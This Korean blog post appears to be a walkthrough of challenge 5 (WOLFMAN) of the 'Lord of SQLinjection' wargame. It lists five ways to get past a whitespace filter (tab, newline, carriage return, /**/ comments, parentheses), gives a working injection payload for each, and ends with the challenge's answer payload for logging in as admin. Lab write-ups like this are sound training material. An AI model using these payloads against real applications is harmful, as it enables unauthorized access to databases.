IT Security

Lord of Sqlinjection - 5번 WOLFMAN

로픽 2019. 11. 24. 12:06
300x250

Lord of Sqlinjection - 5번 문제 WOLFMAN

5번 문제는 공백을 필터링하는 정규표현식이 추가되었습니다.

 

if(preg_match('\ \i', $_GET[pw])) exit("No whitespace ~_~");

 

공백 필터링 정규표현식을 우회하여 Sql 구문을 완성시켜야합니다.

 

 

SQL Injection 공격시 공백 문자 필터링 우회 방법


1. Tab : %09
  - ?pw='%09or%09id='admin'

2. Line Feed (\n): %0a
  - ?pw='%0aor%0aid='admin'

3. Carrage Return(\r) : %0d
  - ?pw='%0dor%0did='admin'

4. 주석 : /**/
  - ?pw='/**/or/**/id='admin' 

5. 괄호 : ()
  - ?pw=(')or(id='admin')

 

 

위 5가지 방법을 이용하여 테스트 시 아래와 같이 "Hello guest" 문구를 출력할 수 있습니다.

 

 

 

*** 정답 ***

더보기

where 절을 True 만들어 id 값 admin을 출력합니다

ex) ?pw='/**/or/**/id='admin'%23

반응형

'IT Security' 카테고리의 다른 글

Lord of SqlInjection - 8번 TROLL  (0) 2019.12.05
Lord of Sqlinjection - 6번 DARKELF  (0) 2019.11.27
Lord of Sqlinjection - 4번 ORC  (0) 2019.11.22
Lord of Sqlinjection - 3번 GOBLIN  (0) 2019.11.19
Lord of Sqlinjection - 2번 COBOLT  (0) 2019.11.18